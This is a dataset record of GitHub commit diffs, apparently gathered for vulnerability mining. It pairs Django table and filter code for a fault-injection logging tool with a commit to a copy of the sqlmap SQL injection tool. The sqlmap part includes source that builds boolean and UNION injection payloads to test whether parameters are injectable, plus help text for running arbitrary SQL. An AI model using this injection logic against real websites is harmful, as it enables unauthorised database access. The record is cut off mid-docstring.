'width:100%;'}), help_text='')\n\n class Meta:\n model = result\n exclude = ('aux_serial_port', 'campaign', 'data_diff',\n 'detected_errors', 'dut_serial_port', 'timestamp')\n\n\nclass simics_register_diff_filter(FilterSet):\n def __init__(self, *args, **kwargs):\n self.campaign = kwargs['campaign']\n del kwargs['campaign']\n super().__init__(*args, **kwargs)\n self.queryset = kwargs['queryset']\n checkpoint_number_choices = self.simics_register_diff_choices(\n 'checkpoint_number')\n self.filters['checkpoint_number'].extra.update(\n choices=checkpoint_number_choices)\n self.filters['checkpoint_number'].widget.attrs['size'] = min(\n len(checkpoint_number_choices), 10)\n register_choices = self.simics_register_diff_choices('register')\n self.filters['register'].extra.update(choices=register_choices)\n self.filters['register'].widget.attrs['size'] = min(\n len(register_choices), 10)\n\n def simics_register_diff_choices(self, attribute):\n choices = []\n for item in self.queryset.filter(\n result__campaign_id=self.campaign\n ).values_list(attribute, flat=True).distinct():\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n checkpoint_number = MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n register = MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n\n class Meta:\n model = simics_register_diff\n fields = ('checkpoint_number', 'register')\n"}, "/log/tables.py": {"changes": [{"diff": "\n-from django_tables2 import Column, DateTimeColumn, Table, TemplateColumn\n-\n+from django_tables2 import (CheckBoxColumn, Column, DateTimeColumn, Table,\n+ TemplateColumn)\n from .models import (campaign, event, injection, result, simics_memory_diff,\n simics_register_diff)\n \n", "add": 2, "remove": 2, "filename": "/log/tables.py", "badparts": ["from django_tables2 import Column, DateTimeColumn, Table, TemplateColumn"], "goodparts": ["from django_tables2 import (CheckBoxColumn, Column, DateTimeColumn, Table,", " TemplateColumn)"]}, {"diff": "\n id_ = TemplateColumn(\n '{{ value }}',\n accessor='id')\n- num_cycles = Column()\n results = Column(empty_values=(), orderable=False)\n timestamp = DateTimeColumn(format=datetime_format)\n \n", "add": 0, "remove": 1, "filename": "/log/tables.py", "badparts": [" num_cycles = Column()"], "goodparts": []}, {"diff": "\n \n \n class campaign_table(campaigns_table):\n- cycles_between = Column()\n- num_checkpoints = Column()\n results = Column(empty_values=(), orderable=False)\n timestamp = DateTimeColumn(format=datetime_format)\n \n", "add": 0, "remove": 2, "filename": "/log/tables.py", "badparts": [" cycles_between = Column()", " num_checkpoints = Column()"], "goodparts": []}, {"diff": "\n id_ = TemplateColumn( # LinkColumn()\n '{{ value }}', accessor='id')\n registers = Column(empty_values=(), orderable=False)\n- select = TemplateColumn(\n- '',\n- verbose_name='', orderable=False)\n+ select_box = CheckBoxColumn(\n+ accessor='id',\n+ attrs={'th__input': {'onclick': 'update_selection(this)'}})\n injection_success = Column(empty_values=(), orderable=False)\n timestamp = DateTimeColumn(format=datetime_format)\n targets = Column(empty_values=(), orderable=False)\n", "add": 3, "remove": 3, "filename": "/log/tables.py", "badparts": [" select = TemplateColumn(", " '',", " verbose_name='', orderable=False)"], "goodparts": [" select_box = CheckBoxColumn(", " accessor='id',", " attrs={'th__input': {'onclick': 'update_selection(this)'}})"]}, {"diff": "\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n- fields = ('select', 'id_', 'dut_serial_port', 'timestamp',\n+ fields = ('select_box', 'id_', 'dut_serial_port', 'timestamp',\n 'outcome_category', 'outcome', 'data_diff', 'detected_errors',\n 'events', 'num_injections', 'targets', 'registers',\n 'injection_success')\n order_by = '-id_'\n \n \n-class result_table(results_table):\n+class result_table(Table):\n delete = TemplateColumn(\n- '')\n+ '',\n+ orderable=False)\n edit = TemplateColumn(\n- '')\n+ '',\n+ orderable=False)\n outcome = TemplateColumn(\n- '')\n+ '')\n outcome_category = TemplateColumn(\n- '')\n+ ''\n+ )\n timestamp = DateTimeColumn(format=datetime_format)\n \n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n- exclude = ('id_', 'select', 'targets')\n fields = ('id', 'dut_serial_port', 'timestamp', 'outcome_category',\n- 'outcome', 'num_injections', 'data_diff', 'detected_errors')\n+ 'outcome', 'num_injections', 'data_diff', 'detected_errors',\n+ 'edit', 'delete')\n \n \n class event_table(Table):\n description = TemplateColumn(\n- '{% if value %}{{ value }}{% endif %}')\n+ '{% if value %}{{ value }}{% endif %}',\n+ attrs={'td': {'style': 'word-wrap: break-word;max-width: 120ex;'}})\n+ success = TemplateColumn(\n+ '{% if value == None %}-'\n+ '{% elif value %}\\u2714'\n+ '{% else %}\\u2718{% endif %}')\n timestamp = DateTimeColumn(format=datetime_format)\n \n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = event\n- fields = ('timestamp', 'level', 'source', 'event_type', 'description',\n- 'success')\n+ fields = ('timestamp', 'level', 'source', 'event_type', 'success',\n+ 'description')\n \n \n class injections_table(", "add": 19, "remove": 13, "filename": "/log/tables.py", "badparts": [" fields = ('select', 'id_', 'dut_serial_port', 'timestamp',", "class result_table(results_table):", " '')", " '')", " '')", " '')", " exclude = ('id_', 'select', 'targets')", " 'outcome', 'num_injections', 'data_diff', 'detected_errors')", " '{% if value %}{{ value }}{% endif %}')", " fields = ('timestamp', 'level', 'source', 'event_type', 'description',", " 'success')"], "goodparts": [" fields = ('select_box', 'id_', 'dut_serial_port', 'timestamp',", "class result_table(Table):", " '',", " orderable=False)", " '',", " orderable=False)", " '')", " ''", " )", " 'outcome', 'num_injections', 'data_diff', 'detected_errors',", " 'edit', 'delete')", " '{% if value %}{{ value }}{% endif %}',", " attrs={'td': {'style': 'word-wrap: break-word;max-width: 120ex;'}})", " success = TemplateColumn(", " '{% if value == None %}-'", " '{% elif value %}\\u2714'", " '{% else %}\\u2718{% endif %}')", " fields = ('timestamp', 'level', 'source', 'event_type', 'success',", " 'description')"]}], "source": "\nfrom django_tables2 import Column, DateTimeColumn, Table, TemplateColumn from.models import(campaign, event, injection, result, simics_memory_diff, simics_register_diff) datetime_format='M j, Y h:i:s A' class campaigns_table(Table): id_=TemplateColumn( '{{ value}}', accessor='id') num_cycles=Column() results=Column(empty_values=(), orderable=False) timestamp=DateTimeColumn(format=datetime_format) def render_num_cycles(self, record): return '{:,}'.format(record.num_cycles) def render_results(self, record): return '{:,}'.format( result.objects.filter(campaign=record.id).count()) class Meta: attrs={\"class\": \"paleblue\"} model=campaign fields=('id_', 'results', 'command', 'aux_command', 'description', 'architecture', 'simics', 'exec_time', 'sim_time', 'num_cycles', 'timestamp') order_by='id_' class campaign_table(campaigns_table): cycles_between=Column() num_checkpoints=Column() results=Column(empty_values=(), orderable=False) timestamp=DateTimeColumn(format=datetime_format) def render_num_checkpoints(self, record): return '{:,}'.format(record.num_checkpoints) def render_cycles_between(self, record): return '{:,}'.format(record.cycles_between) class Meta: attrs={\"class\": \"paleblue\"} model=campaign exclude=('id_',) fields=('id', 'timestamp', 'results', 'command', 'aux_command', 'description', 'architecture', 'simics', 'aux', 'exec_time', 'sim_time', 'num_cycles', 'output_file', 'num_checkpoints', 'cycles_between') class results_table(Table): events=Column(empty_values=(), orderable=False) id_=TemplateColumn( '{{ value}}', accessor='id') registers=Column(empty_values=(), orderable=False) select=TemplateColumn( '', verbose_name='', orderable=False) injection_success=Column(empty_values=(), orderable=False) timestamp=DateTimeColumn(format=datetime_format) targets=Column(empty_values=(), orderable=False) def render_events(self, record): return '{:,}'.format( event.objects.filter(result_id=record.id).count()) def render_registers(self, record): if record is not None: registers=[injection_.register for injection_ in injection.objects.filter(result=record.id)] else: registers=[] for index in range(len(registers)): if registers[index] is None: registers[index]='-' if len(registers) > 0: return ', '.join(registers) else: return '-' def render_injection_success(self, record): success='-' if record is not None: for injection_ in injection.objects.filter(result=record.id): if injection_.success is None: success='-' elif not injection_.success: success=False break else: success=True return success def render_targets(self, record): if record is not None: targets=[injection_.target for injection_ in injection.objects.filter(result=record.id)] else: targets=[] for index in range(len(targets)): if targets[index] is None: targets[index]='-' if len(targets) > 0: return ', '.join(targets) else: return '-' class Meta: attrs={\"class\": \"paleblue\"} model=result fields=('select', 'id_', 'dut_serial_port', 'timestamp', 'outcome_category', 'outcome', 'data_diff', 'detected_errors', 'events', 'num_injections', 'targets', 'registers', 'injection_success') order_by='-id_' class result_table(results_table): delete=TemplateColumn( '') edit=TemplateColumn( '') outcome=TemplateColumn( '') outcome_category=TemplateColumn( '') timestamp=DateTimeColumn(format=datetime_format) class Meta: attrs={\"class\": \"paleblue\"} model=result exclude=('id_', 'select', 'targets') fields=('id', 'dut_serial_port', 'timestamp', 'outcome_category', 'outcome', 'num_injections', 'data_diff', 'detected_errors') class event_table(Table): description=TemplateColumn( '{% if value %}{{ value}}{% endif %}') timestamp=DateTimeColumn(format=datetime_format) class Meta: attrs={\"class\": \"paleblue\"} model=event fields=('timestamp', 'level', 'source', 'event_type', 'description', 'success') class injections_table(Table): class Meta: attrs={\"class\": \"paleblue\"} model=injection order_by=('target', 'target_index', 'register', 'bit', 'success') fields=('target', 'target_index', 'register', 'bit', 'register_access', 'processor_mode', 'gold_value', 'injected_value', 'success') class hw_injection_table(Table): timestamp=DateTimeColumn(format=datetime_format) class Meta: attrs={\"class\": \"paleblue\"} model=injection exclude=('config_object', 'config_type', 'checkpoint_number', 'field', 'id', 'register_index', 'result') class simics_injection_table(Table): timestamp=DateTimeColumn(format=datetime_format) class Meta: attrs={\"class\": \"paleblue\"} model=injection fields=('injection_number', 'timestamp', 'checkpoint_number', 'target', 'target_index', 'register', 'register_index', 'bit', 'field', 'gold_value', 'injected_value', 'success') class simics_register_diff_table(Table): class Meta: attrs={\"class\": \"paleblue\"} model=simics_register_diff exclude=('id', 'result') class simics_memory_diff_table(Table): class Meta: attrs={\"class\": \"paleblue\"} model=simics_memory_diff exclude=('id', 'result') ", "sourceWithComments": "from django_tables2 import Column, DateTimeColumn, Table, TemplateColumn\n\nfrom .models import (campaign, event, injection, result, simics_memory_diff,\n simics_register_diff)\n\ndatetime_format = 'M j, Y h:i:s A'\n\n\nclass campaigns_table(Table):\n id_ = TemplateColumn(\n '{{ value }}',\n accessor='id')\n num_cycles = Column()\n results = Column(empty_values=(), orderable=False)\n timestamp = DateTimeColumn(format=datetime_format)\n\n def render_num_cycles(self, record):\n return '{:,}'.format(record.num_cycles)\n\n def render_results(self, record):\n return '{:,}'.format(\n result.objects.filter(campaign=record.id).count())\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = campaign\n fields = ('id_', 'results', 'command', 'aux_command', 'description',\n 'architecture', 'simics', 'exec_time', 'sim_time',\n 'num_cycles', 'timestamp')\n order_by = 'id_'\n\n\nclass campaign_table(campaigns_table):\n cycles_between = Column()\n num_checkpoints = Column()\n results = Column(empty_values=(), orderable=False)\n timestamp = DateTimeColumn(format=datetime_format)\n\n def render_num_checkpoints(self, record):\n return '{:,}'.format(record.num_checkpoints)\n\n def render_cycles_between(self, record):\n return '{:,}'.format(record.cycles_between)\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = campaign\n exclude = ('id_',)\n fields = ('id', 'timestamp', 'results', 'command', 'aux_command',\n 'description', 'architecture', 'simics', 'aux', 'exec_time',\n 'sim_time', 'num_cycles', 'output_file', 'num_checkpoints',\n 'cycles_between')\n\n\nclass results_table(Table):\n events = Column(empty_values=(), orderable=False)\n id_ = TemplateColumn( # LinkColumn()\n '{{ value }}', accessor='id')\n registers = Column(empty_values=(), orderable=False)\n select = TemplateColumn(\n '',\n verbose_name='', orderable=False)\n injection_success = Column(empty_values=(), orderable=False)\n timestamp = DateTimeColumn(format=datetime_format)\n targets = Column(empty_values=(), orderable=False)\n\n def render_events(self, record):\n return '{:,}'.format(\n event.objects.filter(result_id=record.id).count())\n\n def render_registers(self, record):\n if record is not None:\n registers = [injection_.register for injection_\n in injection.objects.filter(result=record.id)]\n else:\n registers = []\n for index in range(len(registers)):\n if registers[index] is None:\n registers[index] = '-'\n if len(registers) > 0:\n return ', '.join(registers)\n else:\n return '-'\n\n def render_injection_success(self, record):\n success = '-'\n if record is not None:\n for injection_ in injection.objects.filter(result=record.id):\n if injection_.success is None:\n success = '-'\n elif not injection_.success:\n success = False\n break\n else:\n success = True\n return success\n\n def render_targets(self, record):\n if record is not None:\n targets = [injection_.target for injection_\n in injection.objects.filter(result=record.id)]\n else:\n targets = []\n for index in range(len(targets)):\n if targets[index] is None:\n targets[index] = '-'\n if len(targets) > 0:\n return ', '.join(targets)\n else:\n return '-'\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n fields = ('select', 'id_', 'dut_serial_port', 'timestamp',\n 'outcome_category', 'outcome', 'data_diff', 'detected_errors',\n 'events', 'num_injections', 'targets', 'registers',\n 'injection_success')\n order_by = '-id_'\n\n\nclass result_table(results_table):\n delete = TemplateColumn(\n '')\n edit = TemplateColumn(\n '')\n outcome = TemplateColumn(\n '')\n outcome_category = TemplateColumn(\n '')\n timestamp = DateTimeColumn(format=datetime_format)\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n exclude = ('id_', 'select', 'targets')\n fields = ('id', 'dut_serial_port', 'timestamp', 'outcome_category',\n 'outcome', 'num_injections', 'data_diff', 'detected_errors')\n\n\nclass event_table(Table):\n description = TemplateColumn(\n '{% if value %}{{ value }}{% endif %}')\n timestamp = DateTimeColumn(format=datetime_format)\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = event\n fields = ('timestamp', 'level', 'source', 'event_type', 'description',\n 'success')\n\n\nclass injections_table(Table):\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = injection\n order_by = ('target', 'target_index', 'register', 'bit', 'success')\n fields = ('target', 'target_index', 'register', 'bit',\n 'register_access', 'processor_mode', 'gold_value',\n 'injected_value', 'success')\n\n\nclass hw_injection_table(Table):\n timestamp = DateTimeColumn(format=datetime_format)\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = injection\n exclude = ('config_object', 'config_type', 'checkpoint_number', 'field',\n 'id', 'register_index', 'result')\n\n\nclass simics_injection_table(Table):\n timestamp = DateTimeColumn(format=datetime_format)\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = injection\n fields = ('injection_number', 'timestamp', 'checkpoint_number',\n 'target', 'target_index', 'register', 'register_index', 'bit',\n 'field', 'gold_value', 'injected_value', 'success')\n\n\nclass simics_register_diff_table(Table):\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = simics_register_diff\n exclude = ('id', 'result')\n\n\nclass simics_memory_diff_table(Table):\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = simics_memory_diff\n exclude = ('id', 'result')\n"}}, "msg": "commit all the things!\nupdated event success handling and display\nadded events for dut/aux campaign command during injections\nupdated dut serial flushing\nadded socket_timeout to SCP\nadded partial register support to jtag injection\nfixed outcome/category editing on result page\nadded proper interrupt handling to injections\nupdated handling of dut timeout during boot\nreplaced selection buttons with checkbox in results table header\nimproved handling of serial read error in dut.read_until\nadded serial port to result filter\nadded header block to base template for scripts\nsome other minor things"}}, "https://github.com/moriarity1/sql": {"35708a0b975f89357e75f8f74999900da9fe9894": {"url": "https://api.github.com/repos/moriarity1/sql/commits/35708a0b975f89357e75f8f74999900da9fe9894", "html_url": "https://github.com/moriarity1/sql/commit/35708a0b975f89357e75f8f74999900da9fe9894", "message": "Minor adjustment to UNION query SQL injection detection function.\nUpdated command line help message based upon recent developments.\nUpdated copyright note of lib/contrib/multipartpost.py.", "sha": "35708a0b975f89357e75f8f74999900da9fe9894", "keyword": "command injection update", "diff": "diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py\nindex 9cc7a48d..8a1ddc64 100644\n--- a/lib/contrib/multipartpost.py\n+++ b/lib/contrib/multipartpost.py\n@@ -5,6 +5,8 @@\n \n 02/2006 Will Holcomb \n \n+Reference: http://odin.himinbi.org/MultipartPostHandler.py\n+\n This library is free software; you can redistribute it and/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n@@ -14,6 +16,10 @@\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n+\n+You should have received a copy of the GNU Lesser General Public\n+License along with this library; if not, write to the Free Software\n+Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n \"\"\"\n \n \ndiff --git a/lib/controller/checks.py b/lib/controller/checks.py\nindex 3050728c..2202dab0 100644\n--- a/lib/controller/checks.py\n+++ b/lib/controller/checks.py\n@@ -295,15 +295,12 @@ def checkStability():\n logger.info(infoMsg)\n \n firstPage, firstHeaders = Request.queryPage(content=True)\n- time.sleep(0.5)\n+ time.sleep(1)\n \n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n \n- thirdPage, thirdHeaders = Request.queryPage(content=True)\n-\n- condition = firstPage == secondPage\n- condition &= secondPage == thirdPage\n+ condition = firstPage == secondPage\n \n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page \"\ndiff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py\nindex f3349f13..c89180de 100644\n--- a/lib/parse/cmdline.py\n+++ b/lib/parse/cmdline.py\n@@ -189,7 +189,7 @@ def cmdLineParser():\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n- \"you can run your own SQL SELECT queries.\")\n+ \"you can run your own SQL statements.\")\n \n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n@@ -258,7 +258,7 @@ def cmdLineParser():\n help=\"Last table entry to dump\")\n \n enumeration.add_option(\"--sql-query\", dest=\"query\",\n- help=\"SQL SELECT query to be executed\")\n+ help=\"SQL statement to be executed\")\n \n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true\",\ndiff --git a/lib/request/comparison.py b/lib/request/comparison.py\nindex a42542bf..3c520818 100644\n--- a/lib/request/comparison.py\n+++ b/lib/request/comparison.py\n@@ -72,9 +72,9 @@ def comparison(page, headers=None, getSeqMatcher=False):\n conf.seqMatcher.set_seq2(page)\n \n if getSeqMatcher:\n- return round(conf.seqMatcher.ratio(), 5)\n+ return round(conf.seqMatcher.ratio(), 3)\n \n- elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n+ elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:\n return True\n \n else:\ndiff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py\nindex e0bd1e5d..3ef577b7 100644\n--- a/lib/techniques/inband/union/test.py\n+++ b/lib/techniques/inband/union/test.py\n@@ -54,27 +54,27 @@ def __effectiveUnionTest(query, comment):\n \n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n- newResult = Request.queryPage(payload)\n+ newResult = Request.queryPage(payload, getSeqMatcher=True)\n \n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n \n- if count:\n- for element in resultDict.values():\n- if element[0] == 1:\n+ if count > 3:\n+ for ratio, element in resultDict.items():\n+ if element[0] == 1 and ratio > 0.5:\n if kb.injPlace == \"GET\":\n- value = \"%s?%s\" % (conf.url, payload)\n+ value = \"%s?%s\" % (conf.url, element[1])\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nPOST:\\t'%s'\\n\" % payload\n+ value += \"\\nPOST:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nCookie:\\t'%s'\\n\" % payload\n+ value += \"\\nCookie:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n- value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n+ value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]\n \n return value\n \n", "files": {"/lib/controller/checks.py": {"changes": [{"diff": "\n logger.info(infoMsg)\n \n firstPage, firstHeaders = Request.queryPage(content=True)\n- time.sleep(0.5)\n+ time.sleep(1)\n \n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n \n- thirdPage, thirdHeaders = Request.queryPage(content=True)\n-\n- condition = firstPage == secondPage\n- condition &= secondPage == thirdPage\n+ condition = firstPage == secondPage\n \n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page ", "add": 2, "remove": 5, "filename": "/lib/controller/checks.py", "badparts": [" time.sleep(0.5)", " thirdPage, thirdHeaders = Request.queryPage(content=True)", " condition = firstPage == secondPage", " condition &= secondPage == thirdPage"], "goodparts": [" time.sleep(1)", " condition = firstPage == secondPage"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import re import time from lib.controller.action import action from lib.core.agent import agent from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapConnectionException from lib.core.session import setString from lib.core.session import setRegexp from lib.request.connect import Connect as Request def checkSqlInjection(place, parameter, value, parenthesis): \"\"\" This function checks if the GET, POST, Cookie, User-Agent parameters are affected by a SQL injection vulnerability and identifies the type of SQL injection: * Unescaped numeric injection * Single quoted string injection * Double quoted string injection \"\"\" randInt=randomInt() randStr=randomStr() if conf.prefix or conf.postfix: prefix =\"\" postfix=\"\" if conf.prefix: prefix=conf.prefix if conf.postfix: postfix=conf.postfix infoMsg =\"testing custom injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt, postfix)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt +1, postfix)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming custom injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%s %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randStr, postfix)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"custom injectable \" logger.info(infoMsg) return \"custom\" infoMsg =\"testing unescaped numeric injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt +1)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming unescaped numeric injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s AND %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"unescaped numeric injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"numeric\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"unescaped numeric injectable\" logger.info(infoMsg) infoMsg =\"testing single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"single quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"stringsingle\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"single quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing LIKE single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming LIKE single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"LIKE single quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"likesingle\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"LIKE single quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"double quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"stringdouble\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"double quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing LIKE double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming LIKE double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"LIKE double quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"likedouble\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"LIKE double quoted string injectable\" logger.info(infoMsg) return None def checkDynParam(place, parameter, value): \"\"\" This function checks if the url parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. \"\"\" infoMsg=\"testing if %s parameter '%s' is dynamic\" %(place, parameter) logger.info(infoMsg) randInt=randomInt() payload=agent.payload(place, parameter, value, str(randInt)) dynResult1=Request.queryPage(payload, place) if True==dynResult1: return False infoMsg=\"confirming that %s parameter '%s' is dynamic\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"'%s\" % randomStr()) dynResult2=Request.queryPage(payload, place) payload=agent.payload(place, parameter, value, \"\\\"%s\" % randomStr()) dynResult3=Request.queryPage(payload, place) condition =True !=dynResult2 condition |=True !=dynResult3 return condition def checkStability(): \"\"\" This function checks if the URL content is stable requesting the same page three times with a small delay within each request to assume that it 